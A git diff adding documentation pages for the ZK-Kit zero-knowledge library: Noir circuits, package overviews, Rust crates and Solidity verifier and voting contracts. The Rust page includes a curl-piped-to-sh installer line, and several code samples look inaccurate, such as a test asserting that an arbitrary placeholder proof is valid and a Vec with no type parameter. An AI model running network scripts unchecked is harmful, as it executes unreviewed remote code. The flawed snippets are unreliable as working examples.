+    let commitment = poseidon2([identity_nullifier, identity_trapdoor]);
+    
+    // Verify membership in tree
+    let is_member = verify_proof(root, commitment, path_indices, siblings);
+    assert(is_member);
+    
+    // Verify nullifier
+    let computed_nullifier = poseidon([identity_nullifier, 1]);
+    assert(computed_nullifier == nullifier_hash);
+    
+    // Signal can be any public output
+    // No assertion needed - just proves knowledge
+}
+```
+
+### Multi-Proof Circuit
+
+```rust
+use dep::zk_kit::merkle_tree::verify_proof;
+
+fn main(
+    root1: pub Field,
+    root2: pub Field,
+    leaf1: Field,
+    leaf2: Field,
+    path1: [u1; 20],
+    siblings1: [Field; 20],
+    path2: [u1; 20],
+    siblings2: [Field; 20]
+) {
+    // Verify membership in first tree
+    let valid1 = verify_proof(root1, leaf1, path1, siblings1);
+    assert(valid1);
+    
+    // Verify membership in second tree
+    let valid2 = verify_proof(root2, leaf2, path2, siblings2);
+    assert(valid2);
+}
+```
+
+## Testing Circuits
+
+```bash
+# Run tests
+nargo test
+```
+
+Create test file `src/test.nr`:
+
+```rust
+#[test]
+fn test_merkle_proof() {
+    use dep::zk_kit::merkle_tree::verify_proof;
+    
+    let root = 0x123;
+    let leaf = 0x456;
+    let path_indices = [0, 1];
+    let siblings = [0xabc, 0xdef];
+    
+    let is_valid = verify_proof(root, leaf, path_indices, siblings);
+    assert(is_valid);
+}
+```
+
+## Proof Generation
+
+```bash
+# Compile
+nargo compile
+
+# Generate proof
+nargo prove
+
+# Outputs: proofs/my_zk_app.proof
+```
+
+## Verification
+
+### Local Verification
+
+```bash
+nargo verify
+```
+
+### Generate Solidity Verifier
+
+```bash
+# Generate verifier contract
+nargo codegen-verifier
+
+# Outputs: contract/my_zk_app/plonk_vk.sol
+```
+
+### Deploy Verifier
+
+```solidity
+// Deploy and use the generated verifier
+contract MyApp {
+    UltraVerifier public verifier;
+    
+    constructor(address _verifier) {
+        verifier = UltraVerifier(_verifier);
+    }
+    
+    function verify(bytes calldata proof, bytes32[] calldata publicInputs) 
+        external 
+        view 
+        returns (bool) 
+    {
+        return verifier.verify(proof, publicInputs);
+    }
+}
+```
+
+## Best Practices
+
+### Circuit Design
+
+```rust
+// βœ… Good: Clear public/private distinction
+fn main(
+    root: pub Field,  // Public
+    secret: Field     // Private
+) {
+    // ...
+}
+
+// βœ… Good: Use const for fixed sizes
+global TREE_DEPTH: u64 = 20;
+
+// βœ… Good: Modular functions
+fn compute_nullifier(secret: Field, index: Field) -> Field {
+    poseidon2([secret, index])
+}
+```
+
+### Performance
+
+```rust
+// βœ… Good: Minimize constraints
+let hash = poseidon2([a, b]);  // Single hash
+
+// ❌ Bad: Redundant operations
+let temp1 = poseidon2([a, b]);
+let temp2 = poseidon2([a, b]);  // Duplicate!
+```
+
+## Related Documentation
+
+- [JavaScript Packages](/docs/packages/javascript/imt) - Generate inputs
+- [Circom Circuits](/docs/packages/circom/overview) - Alternative circuit language
+- [Solidity Contracts](/docs/packages/solidity/overview) - On-chain verification
+- [Development Setup](/docs/getting-started/development-setup) - Setup guide
+
+## Common Use Cases
+
+- βœ… Anonymous voting
+- βœ… Private credentials
+- βœ… ZK identity systems
+- βœ… Private transactions
+- βœ… Confidential computation
+
+## Troubleshooting
+
+### Circuit Won't Compile
+
+```bash
+# Check Noir version
+nargo --version
+
+# Update Noir
+noirup
+
+# Clean build
+nargo clean
+nargo compile
+```
+
+### Proof Generation Fails
+
+- Check input format in `Prover.toml`
+- Ensure field elements are in correct range
+- Verify constraint satisfaction
+
+## Source
+
+- **GitHub**: [zk-kit.noir](https://github.com/privacy-scaling-explorations/zk-kit.noir)
+- **Noir Docs**: [noir-lang.org](https://noir-lang.org)
+- **License**: MIT
+
+## Community
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Examples](https://github.com/privacy-scaling-explorations/zk-kit.noir/tree/main/examples)
+
diff --git a/docs/packages/overview.md b/docs/packages/overview.md
new file mode 100644
index 0000000..583b2c9
--- /dev/null
+++ b/docs/packages/overview.md
@@ -0,0 +1,197 @@
+---
+sidebar_position: 1
+title: Packages Overview
+---
+
+# ZK-Kit Packages Overview
+
+Explore all available packages in the ZK-Kit ecosystem.
+
+## Package Categories
+
+### 🌳 Merkle Trees
+
+Build privacy-preserving membership systems.
+
+| Package | Description | Install | Use When |
+|---------|-------------|---------|----------|
+| **[@zk-kit/imt](https://www.npmjs.com/package/@zk-kit/imt)** | Incremental Merkle Tree | `npm i @zk-kit/imt` | Standard choice for most applications |
+| **[@zk-kit/lean-imt](https://www.npmjs.com/package/@zk-kit/lean-imt)** | Memory-optimized IMT | `npm i @zk-kit/lean-imt` | Resource-constrained environments |
+| **[@zk-kit/smt](https://www.npmjs.com/package/@zk-kit/smt)** | Sparse Merkle Tree | `npm i @zk-kit/smt` | Key-value storage + non-membership proofs |
+
+### πŸ” Cryptography
+
+Zero-knowledge friendly cryptographic primitives.
+
+| Package | Description | Install | Use When |
+|---------|-------------|---------|----------|
+| **[@zk-kit/eddsa-poseidon](https://www.npmjs.com/package/@zk-kit/eddsa-poseidon)** | EdDSA signatures | `npm i @zk-kit/eddsa-poseidon` | Digital signatures in ZK circuits |
+| **[@zk-kit/poseidon-cipher](https://www.npmjs.com/package/@zk-kit/poseidon-cipher)** | Poseidon encryption | `npm i @zk-kit/poseidon-cipher` | Encrypt/decrypt data for ZK |
+| **[@zk-kit/baby-jubjub](https://www.npmjs.com/package/@zk-kit/baby-jubjub)** | Elliptic curve ops | `npm i @zk-kit/baby-jubjub` | Low-level curve operations |
+| **[@zk-kit/poseidon-proof](https://www.npmjs.com/package/@zk-kit/poseidon-proof)** | Poseidon proofs | `npm i @zk-kit/poseidon-proof` | Generate zk-SNARK proofs |
+
+### πŸ› οΈ Utilities
+
+Helper functions for zero-knowledge development.
+
+| Package | Description | Install | Use When |
+|---------|-------------|---------|----------|
+| **[@zk-kit/utils](https://www.npmjs.com/package/@zk-kit/utils)** | Field operations & conversions | `npm i @zk-kit/utils` | Need field arithmetic or conversions |
+| **[@zk-kit/logical-expressions](https://www.npmjs.com/package/@zk-kit/logical-expressions)** | Boolean logic | `npm i @zk-kit/logical-expressions` | Boolean expressions in ZK |
+
+## Quick Start by Use Case
+
+### I want to build...
+
+#### Anonymous Voting
+```bash
+npm i @zk-kit/imt
+# + peer dependencies (check npm page)
+```
+β†’ See [Semaphore](https://semaphore.pse.dev) and [MACI](https://maci.pse.dev) examples
+
+#### Private Airdrops
+```bash
+npm i @zk-kit/imt @zk-kit/eddsa-poseidon
+# + peer dependencies (check npm page)
+```
+β†’ See [Your First Proof](/docs/getting-started/first-proof) guide
+
+#### Identity System
+```bash
+npm i @zk-kit/imt @zk-kit/eddsa-poseidon @zk-kit/poseidon-cipher
+# + peer dependencies (check npm page)
+```
+β†’ See [Worldcoin](https://worldcoin.org) implementation
+
+#### Key-Value Store with Proofs
+```bash
+npm i @zk-kit/smt
+# + peer dependencies (check npm page)
+```
+β†’ See [Iden3](https://github.com/iden3) implementation
+
+## Package Status
+
+### Audited Packages βœ…
+
+These packages have undergone security audits:
+
+- βœ… **@zk-kit/imt** - Audited by Trail of Bits
+- βœ… **@zk-kit/eddsa-poseidon** - Audited
+- βœ… **@zk-kit/baby-jubjub** - Audited
+- βœ… **@zk-kit/poseidon-cipher** - Audited
+- βœ… **@zk-kit/utils** - Audited
+
+[View Audit Reports β†’](https://semaphore.pse.dev/Semaphore_4.0.0_Audit.pdf)
+
+### In Development 🚧
+
+- 🚧 **@zk-kit/groth16** - Coming soon
+- 🚧 **@zk-kit/plonk** - Coming soon
+
+## Installation Patterns
+
+### Minimal Setup
+
+Just Merkle trees:
+
+```bash
+npm i @zk-kit/imt
+# Check npm for peer dependencies
+```
+
+### Standard Setup
+
+Trees + signatures:
+
+```bash
+npm i @zk-kit/imt @zk-kit/eddsa-poseidon
+# Check npm for peer dependencies
+```
+
+### Full Stack
+
+All main packages:
+
+```bash
+npm i @zk-kit/imt @zk-kit/lean-imt @zk-kit/smt \
+      @zk-kit/eddsa-poseidon @zk-kit/poseidon-cipher \
+      @zk-kit/utils poseidon-lite crypto-js
+```
+
+## Language Variants
+
+ZK-Kit is available in multiple languages:
+
+### JavaScript/TypeScript
+```bash
+npm i @zk-kit/imt
+```
+[npm package β†’](https://www.npmjs.com/package/@zk-kit/imt) | [GitHub β†’](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/imt)
+
+:::tip
+Check the package's npm page for peer dependencies (e.g., hash functions).
+:::
+
+### Circom
+```bash
+# Clone circuits repository
+git clone https://github.com/privacy-scaling-explorations/zk-kit.circom
+```
+[Repository β†’](https://github.com/privacy-scaling-explorations/zk-kit.circom)
+
+### Solidity
+```bash
+npm i @zk-kit/imt.sol
+```
+[Repository β†’](https://github.com/privacy-scaling-explorations/zk-kit.solidity)
+
+### Noir
+```bash
+# Add to Nargo.toml
+[dependencies]
+zk-kit = { tag = "v0.1.0", git = "https://github.com/privacy-scaling-explorations/zk-kit.noir" }
+```
+[Repository β†’](https://github.com/privacy-scaling-explorations/zk-kit.noir)
+
+### Rust
+```bash
+cargo add zk-kit
+```
+[Repository β†’](https://github.com/privacy-scaling-explorations/zk-kit.rust)
+
+## Bundle Sizes
+
+| Package | Minified | Min + Gzip | Tree-Shakeable |
+|---------|----------|------------|----------------|
+| @zk-kit/imt | 12 KB | 4 KB | βœ… |
+| @zk-kit/lean-imt | 8 KB | 3 KB | βœ… |
+| @zk-kit/smt | 15 KB | 5 KB | βœ… |
+| @zk-kit/eddsa-poseidon | 10 KB | 3.5 KB | βœ… |
+| @zk-kit/poseidon-cipher | 6 KB | 2 KB | βœ… |
+| @zk-kit/baby-jubjub | 8 KB | 2.5 KB | βœ… |
+| @zk-kit/utils | 5 KB | 1.5 KB | βœ… |
+
+## Browser Support
+
+All packages support modern browsers with:
+- ES2020+
+- BigInt support
+- WebAssembly (for some operations)
+
+See the [Installation Guide](/docs/getting-started/installation#browser-support) for browser configuration.
+
+## Next Steps
+
+- [Choose a Package](/docs/packages/choosing-a-package) - Decision guide
+- [Installation](/docs/getting-started/installation) - Install packages
+- [Quick Start](/docs/getting-started/quick-start) - Start building
+- [Ecosystem](/docs/introduction/ecosystem) - See real-world usage
+
+## Resources
+
+- [GitHub Repository](https://github.com/privacy-scaling-explorations/zk-kit)
+- [npm Organization](https://www.npmjs.com/org/zk-kit)
+- [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+
diff --git a/docs/packages/rust/_category_.json b/docs/packages/rust/_category_.json
new file mode 100644
index 0000000..65db3c7
--- /dev/null
+++ b/docs/packages/rust/_category_.json
@@ -0,0 +1,13 @@
+{
+  "label": "Rust",
+  "position": 7,
+  "link": {
+    "type": "generated-index",
+    "title": "Rust Crates",
+    "description": "ZK-Kit implementations in Rust.",
+    "slug": "/packages/rust"
+  }
+}
+
+
+
diff --git a/docs/packages/rust/overview.md b/docs/packages/rust/overview.md
new file mode 100644
index 0000000..f4517f7
--- /dev/null
+++ b/docs/packages/rust/overview.md
@@ -0,0 +1,588 @@
+---
+sidebar_position: 1
+title: Rust Overview
+---
+
+# Rust Crates
+
+ZK-Kit implementations in Rust for high-performance zero-knowledge applications.
+
+## Overview
+
+The ZK-Kit Rust package provides native Rust implementations offering:
+- **Performance**: Native speed for cryptographic operations
+- **Safety**: Rust's memory safety guarantees
+- **WASM support**: Compile to WebAssembly for browser use
+- **No-std compatible**: Use in embedded systems
+
+## Repository
+
+- **GitHub**: [zk-kit.rust](https://github.com/privacy-scaling-explorations/zk-kit.rust)
+- **License**: MIT
+
+## Installation
+
+Add to your `Cargo.toml`:
+
+```toml
+[dependencies]
+zk-kit-imt = "0.1.0"
+zk-kit-poseidon = "0.1.0"
+zk-kit-eddsa-poseidon = "0.1.0"
+```
+
+Or use cargo:
+
+```bash
+cargo add zk-kit-imt
+cargo add zk-kit-poseidon
+cargo add zk-kit-eddsa-poseidon
+```
+
+## Available Crates
+
+### zk-kit-imt
+
+Incremental Merkle Tree implementation.
+
+**Usage**:
+
+```rust
+use zk_kit_imt::{IMT, PoseidonHash};
+
+fn main() {
+    // Create tree with depth 20
+    let mut tree = IMT::new(20, 0);
+    
+    // Insert leaves
+    tree.insert(1);
+    tree.insert(2);
+    tree.insert(3);
+    
+    // Get root
+    println!("Root: {:?}", tree.root());
+    
+    // Generate proof
+    let proof = tree.create_proof(1);
+    
+    // Verify proof
+    assert!(tree.verify_proof(&proof));
+}
+```
+
+### zk-kit-poseidon
+
+Poseidon hash function.
+
+**Usage**:
+
+```rust
+use zk_kit_poseidon::Poseidon;
+
+fn main() {
+    let poseidon = Poseidon::new();
+    
+    // Hash two values
+    let hash = poseidon.hash(&[1, 2]);
+    println!("Hash: {:?}", hash);
+    
+    // Hash many values
+    let hash_many = poseidon.hash(&[1, 2, 3, 4, 5]);
+    println!("Hash: {:?}", hash_many);
+}
+```
+
+### zk-kit-eddsa-poseidon
+
+EdDSA signatures with Poseidon.
+
+**Usage**:
+
+```rust
+use zk_kit_eddsa_poseidon::{PrivateKey, Signature};
+
+fn main() {
+    // Generate key pair
+    let private_key = PrivateKey::new(b"my-secret");
+    let public_key = private_key.public_key();
+    
+    // Sign message
+    let message = 12345u64;
+    let signature = private_key.sign(message);
+    
+    // Verify signature
+    assert!(public_key.verify(message, &signature));
+}
+```
+
+## Quick Start Example
+
+### Complete Membership Proof System
+
+```rust
+use zk_kit_imt::IMT;
+use zk_kit_poseidon::Poseidon;
+use zk_kit_eddsa_poseidon::PrivateKey;
+
+fn main() {
+    // Create identity
+    let identity = PrivateKey::new(b"alice-secret");
+    let commitment = identity.public_key().commitment();
+    
+    // Create Merkle tree of commitments
+    let mut tree = IMT::new(20, 0);
+    tree.insert(commitment);
+    tree.insert(123); // Other members
+    tree.insert(456);
+    
+    // Generate membership proof
+    let proof = tree.create_proof(0); // Prove first leaf
+    
+    // Verify proof
+    assert!(tree.verify_proof(&proof));
+    
+    println!("βœ“ Membership verified");
+    println!("Root: {:?}", tree.root());
+}
+```
+
+## API Reference
+
+### IMT (Incremental Merkle Tree)
+
+#### `new`
+
+```rust
+pub fn new(depth: usize, zero_value: u64) -> Self
+```
+
+Creates a new tree.
+
+**Parameters**:
+- `depth`: Maximum depth
+- `zero_value`: Value for empty leaves
+
+**Example**:
+
+```rust
+let tree = IMT::new(20, 0);
+```
+
+#### `insert`
+
+```rust
+pub fn insert(&mut self, leaf: u64)
+```
+
+Inserts a leaf into the tree.
+
+**Example**:
+
+```rust
+tree.insert(123);
+tree.insert(456);
+```
+
+#### `update`
+
+```rust
+pub fn update(&mut self, index: usize, new_leaf: u64)
+```
+
+Updates a leaf at the specified index.
+
+**Example**:
+
+```rust
+tree.update(0, 999);
+```
+
+#### `root`
+
+```rust
+pub fn root(&self) -> u64
+```
+
+Returns the current root.
+
+**Example**:
+
+```rust
+let root = tree.root();
+```
+
+#### `create_proof`
+
+```rust
+pub fn create_proof(&self, index: usize) -> Proof
+```
+
+Generates a Merkle proof.
+
+**Example**:
+
+```rust
+let proof = tree.create_proof(0);
+```
+
+#### `verify_proof`
+
+```rust
+pub fn verify_proof(&self, proof: &Proof) -> bool
+```
+
+Verifies a Merkle proof.
+
+**Example**:
+
+```rust
+assert!(tree.verify_proof(&proof));
+```
+
+### Poseidon
+
+#### `new`
+
+```rust
+pub fn new() -> Self
+```
+
+Creates a new Poseidon hasher.
+
+**Example**:
+
+```rust
+let poseidon = Poseidon::new();
+```
+
+#### `hash`
+
+```rust
+pub fn hash(&self, inputs: &[u64]) -> u64
+```
+
+Hashes an array of values.
+
+**Example**:
+
+```rust
+let hash = poseidon.hash(&[1, 2, 3]);
+```
+
+#### `hash2`
+
+```rust
+pub fn hash2(&self, left: u64, right: u64) -> u64
+```
+
+Optimized hash of two values.
+
+**Example**:
+
+```rust
+let hash = poseidon.hash2(1, 2);
+```
+
+### PrivateKey (EdDSA)
+
+#### `new`
+
+```rust
+pub fn new(seed: &[u8]) -> Self
+```
+
+Creates a private key from a seed.
+
+**Example**:
+
+```rust
+let private_key = PrivateKey::new(b"my-secret");
+```
+
+#### `public_key`
+
+```rust
+pub fn public_key(&self) -> PublicKey
+```
+
+Derives the public key.
+
+**Example**:
+
+```rust
+let public_key = private_key.public_key();
+```
+
+#### `sign`
+
+```rust
+pub fn sign(&self, message: u64) -> Signature
+```
+
+Signs a message.
+
+**Example**:
+
+```rust
+let signature = private_key.sign(123);
+```
+
+### PublicKey
+
+#### `verify`
+
+```rust
+pub fn verify(&self, message: u64, signature: &Signature) -> bool
+```
+
+Verifies a signature.
+
+**Example**:
+
+```rust
+assert!(public_key.verify(123, &signature));
+```
+
+#### `commitment`
+
+```rust
+pub fn commitment(&self) -> u64
+```
+
+Returns the commitment (hash of public key).
+
+**Example**:
+
+```rust
+let commitment = public_key.commitment();
+```
+
+## Advanced Usage
+
+### WASM Support
+
+Build for WebAssembly:
+
+```bash
+# Install wasm-pack
+curl https://rustwasm.github.io/wasm-pack/installer/init.sh -sSf | sh
+
+# Build for wasm
+wasm-pack build --target web
+```
+
+Use in JavaScript:
+
+```javascript
+import init, { IMT } from './pkg/my_zk_kit.js';
+
+async function main() {
+    await init();
+    
+    const tree = IMT.new(20, 0);
+    tree.insert(123);
+    tree.insert(456);
+    
+    console.log("Root:", tree.root());
+}
+```
+
+### No-Std Support
+
+For embedded systems:
+
+```toml
+[dependencies]
+zk-kit-imt = { version = "0.1", default-features = false }
+```
+
+```rust
+#![no_std]
+
+use zk_kit_imt::IMT;
+
+fn embedded_proof() {
+    let mut tree = IMT::new(10, 0);
+    tree.insert(123);
+    // Works without std!
+}
+```
+
+### Parallel Processing
+
+```rust
+use rayon::prelude::*;
+use zk_kit_imt::IMT;
+
+fn batch_verify(proofs: Vec) -> bool {
+    proofs.par_iter().all(|proof| {
+        IMT::verify_proof_static(proof)
+    })
+}
+```
+
+### Custom Hash Functions
+
+```rust
+use zk_kit_imt::{IMT, HashFunction};
+
+struct CustomHash;
+
+impl HashFunction for CustomHash {
+    fn hash(&self, left: u64, right: u64) -> u64 {
+        // Your custom hash implementation
+        left.wrapping_add(right)
+    }
+}
+
+fn main() {
+    let tree = IMT::with_hasher(20, 0, CustomHash);
+}
+```
+
+## Performance Benchmarks
+
+| Operation | Time | Throughput |
+|-----------|------|------------|
+| Tree Insert | 50 ΞΌs | 20k ops/s |
+| Proof Generation | 100 ΞΌs | 10k ops/s |
+| Proof Verification | 80 ΞΌs | 12.5k ops/s |
+| Poseidon Hash | 10 ΞΌs | 100k ops/s |
+| EdDSA Sign | 200 ΞΌs | 5k ops/s |
+| EdDSA Verify | 300 ΞΌs | 3.3k ops/s |
+
+*Benchmarked on Apple M1*
+
+## Testing
+
+```bash
+# Run tests
+cargo test
+
+# Run benchmarks
+cargo bench
+
+# Run with all features
+cargo test --all-features
+
+# Run specific test
+cargo test test_merkle_proof
+```
+
+Example test:
+
+```rust
+#[cfg(test)]
+mod tests {
+    use super::*;
+    
+    #[test]
+    fn test_merkle_proof() {
+        let mut tree = IMT::new(20, 0);
+        tree.insert(123);
+        
+        let proof = tree.create_proof(0);
+        assert!(tree.verify_proof(&proof));
+    }
+    
+    #[test]
+    fn test_signature() {
+        let private_key = PrivateKey::new(b"test");
+        let public_key = private_key.public_key();
+        
+        let sig = private_key.sign(123);
+        assert!(public_key.verify(123, &sig));
+    }
+}
+```
+
+## Error Handling
+
+```rust
+use zk_kit_imt::{IMT, IMTError};
+
+fn safe_operations() -> Result<(), IMTError> {
+    let mut tree = IMT::new(20, 0);
+    
+    // Checked operations
+    tree.insert_checked(123)?;
+    tree.update_checked(0, 456)?;
+    
+    let proof = tree.create_proof_checked(0)?;
+    
+    Ok(())
+}
+```
+
+## Documentation
+
+Generate and view docs:
+
+```bash
+cargo doc --open
+```
+
+## Best Practices
+
+### Memory Management
+
+```rust
+// βœ… Good: Reuse trees
+let mut tree = IMT::new(20, 0);
+for i in 0..1000 {
+    tree.insert(i);
+}
+
+// βœ… Good: Clone only when needed
+let tree_copy = tree.clone();
+
+// βœ… Good: Use references
+fn process_tree(tree: &IMT) {
+    // No ownership transfer
+}
+```
+
+### Performance
+
+```rust
+// βœ… Good: Batch operations
+let leaves = vec![1, 2, 3, 4, 5];
+tree.insert_batch(&leaves);
+
+// βœ… Good: Use iterators
+let hashes: Vec<_> = values.iter()
+    .map(|v| poseidon.hash(&[*v]))
+    .collect();
+
+// βœ… Good: Avoid unnecessary allocations
+let proof = tree.create_proof(0); // Stack allocated
+```
+
+## Related Documentation
+
+- [JavaScript Packages](/docs/packages/javascript/imt) - JS equivalent
+- [Circom Circuits](/docs/packages/circom/overview) - Circuit implementations
+- [Development Setup](/docs/getting-started/development-setup) - Setup guide
+
+## Common Use Cases
+
+- βœ… High-performance proof generation
+- βœ… Backend services
+- βœ… WASM-based web apps
+- βœ… Embedded systems
+- βœ… Native mobile apps
+- βœ… Command-line tools
+
+## Source
+
+- **GitHub**: [zk-kit.rust](https://github.com/privacy-scaling-explorations/zk-kit.rust)
+- **Crates.io**: [zk-kit-imt](https://crates.io/crates/zk-kit-imt)
+- **Docs.rs**: [Documentation](https://docs.rs/zk-kit-imt)
+- **License**: MIT
+
+## Community
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Examples](https://github.com/privacy-scaling-explorations/zk-kit.rust/tree/main/examples)
+
diff --git a/docs/packages/solidity/_category_.json b/docs/packages/solidity/_category_.json
new file mode 100644
index 0000000..186f881
--- /dev/null
+++ b/docs/packages/solidity/_category_.json
@@ -0,0 +1,13 @@
+{
+  "label": "Solidity",
+  "position": 5,
+  "link": {
+    "type": "generated-index",
+    "title": "Solidity Contracts",
+    "description": "Smart contracts for on-chain verification of ZK proofs.",
+    "slug": "/packages/solidity"
+  }
+}
+
+
+
diff --git a/docs/packages/solidity/overview.md b/docs/packages/solidity/overview.md
new file mode 100644
index 0000000..3464d81
--- /dev/null
+++ b/docs/packages/solidity/overview.md
@@ -0,0 +1,695 @@
+---
+sidebar_position: 1
+title: Solidity Overview
+---
+
+# Solidity Contracts
+
+Smart contracts for on-chain verification of zero-knowledge proofs generated with ZK-Kit.
+
+## Overview
+
+The ZK-Kit Solidity package provides contracts for:
+- Verifying Merkle tree proofs on-chain
+- Verifying zk-SNARK proofs (Groth16, PLONK)
+- Managing Merkle trees in smart contracts
+- Implementing privacy-preserving applications on Ethereum
+
+## Repository
+
+- **GitHub**: [zk-kit.solidity](https://github.com/privacy-scaling-explorations/zk-kit.solidity)
+- **License**: MIT
+
+## Installation
+
+### Using npm/yarn
+
+```bash
+npm install @zk-kit/incremental-merkle-tree.sol
+
+# Or with yarn
+yarn add @zk-kit/incremental-merkle-tree.sol
+```
+
+### Using Foundry
+
+```bash
+forge install privacy-scaling-explorations/zk-kit.solidity
+```
+
+### Using Hardhat
+
+```bash
+npm install @zk-kit/incremental-merkle-tree.sol
+```
+
+Add to `hardhat.config.js`:
+
+```javascript
+module.exports = {
+  solidity: "0.8.20",
+  paths: {
+    sources: "./contracts",
+    tests: "./test",
+    cache: "./cache",
+    artifacts: "./artifacts"
+  }
+}
+```
+
+## Available Contracts
+
+### Incremental Merkle Tree
+
+On-chain Incremental Merkle Tree implementation.
+
+**Package**: `@zk-kit/incremental-merkle-tree.sol`
+
+**Features**:
+- Gas-optimized insertions
+- On-chain root verification
+- Event emission for indexing
+- Configurable depth
+
+**Usage**:
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import "@zk-kit/incremental-merkle-tree.sol/IncrementalBinaryTree.sol";
+
+contract MyContract {
+    using IncrementalBinaryTree for IncrementalBinaryTree.Data;
+    
+    IncrementalBinaryTree.Data internal tree;
+    
+    constructor() {
+        tree.init(20, 0); // depth=20, zeroValue=0
+    }
+    
+    function addMember(uint256 commitment) external {
+        tree.insert(commitment);
+    }
+    
+    function getRoot() public view returns (uint256) {
+        return tree.root;
+    }
+}
+```
+
+### Proof Verifiers
+
+#### Groth16 Verifier
+
+Verifies Groth16 zk-SNARK proofs.
+
+**Generated from circuits using**:
+
+```bash
+snarkjs zkey export solidityverifier circuit.zkey verifier.sol
+```
+
+**Usage**:
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import "./Groth16Verifier.sol";
+
+contract MyZKApp {
+    Groth16Verifier public verifier;
+    
+    constructor(address _verifier) {
+        verifier = Groth16Verifier(_verifier);
+    }
+    
+    function verifyProof(
+        uint[2] memory a,
+        uint[2][2] memory b,
+        uint[2] memory c,
+        uint[] memory input
+    ) public view returns (bool) {
+        return verifier.verifyProof(a, b, c, input);
+    }
+}
+```
+
+#### PLONK Verifier
+
+Verifies PLONK proofs (no per-circuit trusted setup).
+
+**Generated from circuits**:
+
+```bash
+snarkjs zkey export solidityverifier circuit.zkey verifier.sol
+```
+
+### Poseidon Hash
+
+On-chain Poseidon hash implementation.
+
+**Package**: `@zk-kit/poseidon.sol`
+
+**Usage**:
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import "@zk-kit/poseidon.sol/Poseidon.sol";
+
+contract MyContract {
+    function hashTwo(uint256 left, uint256 right) public pure returns (uint256) {
+        return Poseidon.hash([left, right]);
+    }
+    
+    function hashMany(uint256[] memory inputs) public pure returns (uint256) {
+        return Poseidon.hash(inputs);
+    }
+}
+```
+
+## Quick Start Example
+
+### Anonymous Voting Contract
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import "@zk-kit/incremental-merkle-tree.sol/IncrementalBinaryTree.sol";
+import "./Groth16Verifier.sol";
+
+contract AnonymousVoting {
+    using IncrementalBinaryTree for IncrementalBinaryTree.Data;
+    
+    // Merkle tree of registered voters
+    IncrementalBinaryTree.Data internal voters;
+    
+    // Proof verifier
+    Groth16Verifier public verifier;
+    
+    // Track used nullifiers to prevent double-voting
+    mapping(uint256 => bool) public nullifiers;
+    
+    // Vote counts
+    mapping(uint256 => uint256) public votes;
+    
+    event VoterRegistered(uint256 commitment);
+    event VoteCast(uint256 nullifier, uint256 candidate);
+    
+    constructor(address _verifier) {
+        voters.init(20, 0);
+        verifier = Groth16Verifier(_verifier);
+    }
+    
+    function register(uint256 commitment) external {
+        voters.insert(commitment);
+        emit VoterRegistered(commitment);
+    }
+    
+    function vote(
+        uint256 candidate,
+        uint256 nullifier,
+        uint256 root,
+        uint[2] memory a,
+        uint[2][2] memory b,
+        uint[2] memory c
+    ) external {
+        // Verify root is current or recent
+        require(root == voters.root, "Invalid root");
+        
+        // Verify nullifier hasn't been used
+        require(!nullifiers[nullifier], "Already voted");
+        
+        // Verify proof
+        uint[] memory publicInputs = new uint[](3);
+        publicInputs[0] = root;
+        publicInputs[1] = nullifier;
+        publicInputs[2] = candidate;
+        
+        require(
+            verifier.verifyProof(a, b, c, publicInputs),
+            "Invalid proof"
+        );
+        
+        // Record vote
+        nullifiers[nullifier] = true;
+        votes[candidate]++;
+        
+        emit VoteCast(nullifier, candidate);
+    }
+    
+    function getVoterRoot() public view returns (uint256) {
+        return voters.root;
+    }
+}
+```
+
+### Deploy and Use
+
+```javascript
+// deploy.js
+const { ethers } = require("hardhat")
+
+async function main() {
+    // Deploy verifier
+    const Verifier = await ethers.getContractFactory("Groth16Verifier")
+    const verifier = await Verifier.deploy()
+    await verifier.deployed()
+    
+    // Deploy voting contract
+    const Voting = await ethers.getContractFactory("AnonymousVoting")
+    const voting = await Voting.deploy(verifier.address)
+    await voting.deployed()
+    
+    console.log("Voting deployed to:", voting.address)
+}
+
+main().catch((error) => {
+    console.error(error)
+    process.exitCode = 1
+})
+```
+
+## API Reference
+
+### IncrementalBinaryTree
+
+#### `init`
+
+```solidity
+function init(
+    Data storage self,
+    uint256 depth,
+    uint256 zero
+) internal
+```
+
+Initializes the tree.
+
+**Parameters**:
+- `self`: Tree storage reference
+- `depth`: Maximum depth
+- `zero`: Value for empty leaves
+
+**Example**:
+
+```solidity
+tree.init(20, 0);
+```
+
+#### `insert`
+
+```solidity
+function insert(
+    Data storage self,
+    uint256 leaf
+) internal
+```
+
+Inserts a leaf into the tree.
+
+**Parameters**:
+- `self`: Tree storage reference
+- `leaf`: Value to insert
+
+**Example**:
+
+```solidity
+tree.insert(commitment);
+```
+
+#### `root`
+
+```solidity
+Data storage self.root returns (uint256)
+```
+
+Gets the current root.
+
+**Returns**: Current Merkle root
+
+**Example**:
+
+```solidity
+uint256 currentRoot = tree.root;
+```
+
+#### `numberOfLeaves`
+
+```solidity
+Data storage self.numberOfLeaves returns (uint256)
+```
+
+Gets the number of leaves in the tree.
+
+**Returns**: Leaf count
+
+**Example**:
+
+```solidity
+uint256 count = tree.numberOfLeaves;
+```
+
+### Groth16Verifier
+
+#### `verifyProof`
+
+```solidity
+function verifyProof(
+    uint[2] memory a,
+    uint[2][2] memory b,
+    uint[2] memory c,
+    uint[] memory input
+) public view returns (bool)
+```
+
+Verifies a Groth16 proof.
+
+**Parameters**:
+- `a`: Proof point A
+- `b`: Proof point B
+- `c`: Proof point C
+- `input`: Public inputs
+
+**Returns**: `true` if proof is valid
+
+**Example**:
+
+```solidity
+bool isValid = verifier.verifyProof(a, b, c, publicInputs);
+```
+
+## Advanced Usage
+
+### Batch Verification
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import "./Groth16Verifier.sol";
+
+contract BatchVerifier {
+    Groth16Verifier public verifier;
+    
+    struct Proof {
+        uint[2] a;
